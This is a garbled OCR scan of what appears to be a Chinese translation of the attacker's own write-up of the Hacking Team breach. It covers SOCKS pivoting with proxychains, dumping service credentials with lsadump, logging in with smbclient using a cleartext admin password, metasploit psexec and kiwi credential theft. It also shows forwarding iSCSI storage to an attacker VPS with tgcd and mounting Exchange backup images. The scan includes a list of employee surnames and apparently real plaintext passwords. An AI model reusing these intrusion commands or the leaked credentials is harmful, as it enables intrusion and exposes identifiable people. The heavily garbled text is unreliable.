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I8 H ST A R B 53

8) screen {44 A pty 1 shell —#f, BEIHFREIELER, (H
AR R BRI W 28 Hh S ==,

9) SOCKS R¥EEARSS 28H F5 proxychains —i{#H, PAERE
% MATARTRE 2 175 TR AT TR AR B R 288
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HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM
HACKINGTEAM

BESAdmin
Administrator

C

o0 HAas oan s8R EPMER B

.pozzi
.Tomeo
.guerra
.martinez
.TusSso
.scarafile
.viscardi
.mino
.bettini
.luppi
.gallucci
.milan
.furlan
.romualdi
.invernizzi
.ciceri
.rabe
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bes32678!1!!
uu8dd8nddi2!
P4ssword
ioLK/ (90
4]1uc@=.=
W4tudul3sp
GCBr0s0705!
Cd4432996111
Ht2015!
A'e$$andra

<---- lol gr

Ettore&Bellal0314

Blackou?
159i8m4o!
set!dob66
Blu3.B3rry!
Rd13136f0e#
LOr3nz0123!
202571&2E
erab@4HT!



10) tged HTE PG KL &, BIAAHT SOCKS k55 4.
BAEFEHIFAE 2 AT G 1 185 R TEMER G AR H FE G
THHATHRE, Wik, BA T —DRYHEHALS) B 1A A 4
FRINAI R, JET TFERA TR, e HEARE RN M4,

10 —M a5t SR P 5

BRBBR R EB RO RS A A DU T 15 1 LN AR %S
BRI, RETEMREE BT LEMH T pwdump,
cachedump il Isadump’, lsadump $%%|7 besadmin AR5k
PR :

_SC_BlackBerry MDS Connection Service

0000 16 00 00 00 00 OO0 00 00 OO 00 00 00 00 00 00 OC
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 0OC
0020 21 00 21 00 21 00 00 OO OO OO OO0 0O OO 00 00 OC

PfHEFH proxychains? 5ifk Az0i%#5 L1 socks ARZ5#8H1 smb-
client> ki &5

proxychains smbclient ¢ // 192.168.100.51/
c$ > -U ¢ hackingteam.local/besadminjbes32678!!! >

‘BRI T ! besadmin FYERSIARARL, FH HRARHEER, 3K
i F F [ FRIEFT metasploit Y psexec_psh*3k1% 7 —> meter-
preter X, AERIELE—1 64 (iR, 1217 “load kiwi”
> “creds_wdigest”, HIKG T —HERY, GFEEEER:

! github.com

2 proxychains.sourceforge.net/
3 www.samba.org/

* ns2.elhacker.net

> github.com

26 19



PAELE/mnt/exchange/WindowsImageBackup/EXCHANGE/
Backup 2014-10-14 172311 #, FATHKEI T VM BIBERE, FHFHEEL

K
M= E1 50
7 mm*ﬂm ﬁ vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-0050569963
mnt/vhd-disk/
MERCEFEAN TN BRI 2%, FRAEDLEEH EH K mount -o loop /mnt/ vhd-disk/ Partitionl / mnt/
R =8, AR (A DUEITTTA AR A) JE53) T partl

Responder.py, F#H nmap #4177 12IEHH,
ifE, BT TRP EEL, A DME/mnt/partl HEFIH

Exchange R55#sHIFTH X1
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VPS: tged -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPE

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

BUAE iSCSI $%3] T 4% iqn.2000-01.com.synology, {H7EH
BRI, FAEINYECCK IP 2 192.168.200.72 iz
127.0.0.1

AR AR 77 752 -

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --
BlfE, fEITRAN !

iscsiadm -m node --targetname=iqn.2000 - O1.com.synolog

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdbl /mnt/tmp

HARFN BB LN &, Exchange IR HE K2 HA &
Mo BEARKRT, TIETE, (HA DOZEHEEE e RE A B F:

$ losetup /dev/loopO Exchange.hackingteam.com-flat.vmd
$ fdisk -1 /dev/loopO

/dev/loopOpl 2048 1258287103 629142528
NTFS/exFAT

R w2 s 2048 * 512 = 1048576

$ losetup -o 1048576 /dev/loopl /dev/loopO
$ mount -o ro /dev/loopl /mnt/exchange/

24

8 —NoSQL ##s/4

NoSQL, =# % NoAuthentication, *IEB&4XHKWZE—
E XML, BEFRIOMAIL T B T MySQL HIFTE &6
RUELS IRIAZ I, BEUE FE RS IMA TR, IXSEEHE e
I B = S ieliE, Nmap fER% FIBNRT AR 28 2 B0 T — L

27017/tcp open mongodb
| mongodb-databases:

MongoDB 2.6.5

I ok =1

| totalSizeMb = 47547

| totalSize = 49856643072
| _ version = 2.6.5

27017/tcp open mongodb
| mongodb-databases:

MongoDB 2.6.5

| ok =1

| totalSizeMb = 31987

| totalSize = 33540800512
I databases

| _ version = 2.6.5

! www.shodan.io

2 community.rapid7.com

3 archives.neohapsis.com

* downloads.securityfocus.com
> archives.neohapsis.com
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‘B2 RCS MIASL BRI, RCS LR B M MHEETH
GridFS ) MongoDB H, torrent® [ E 4 IR A i, ]
TEPERNE o

9 —2 X%tk

EIR TSR & HIE 2 FIRA T R G AR A X 28 85 15 Sk IR
RA, EXHFNZIREH M2l mITRrr
TR, ARAEAATA SRS, ABATTRYT iSCST B8 RIZAE— 1> BN )
¢&rh, {H nmap TEMATI TR 192.168.1.200/24 HEB T JLA:

Nmap scan report for ht-synology.hackingteam.local (1€

3260/tcp open iscsi?

| iscsi-info:

| Target: ign.2000 - 01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0

| _ Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local

3260/tcp open 1iscsi?

| iscsi-info:

| Target: ign.2000 - 01.com.synology:synology-backup.
| Address: 10.0.1.72:3260,0

| Address: 192.168.200.72:3260,0

| _ Authentication: No authentication required

iSCST T ZE— M PIXBEER, F HRMEN R ARG R IFE, P
KT IH, DAMEERTDAM VPS b#e:

® ht.transparencytoolkit.org ! ht.transparencytoolkit.org
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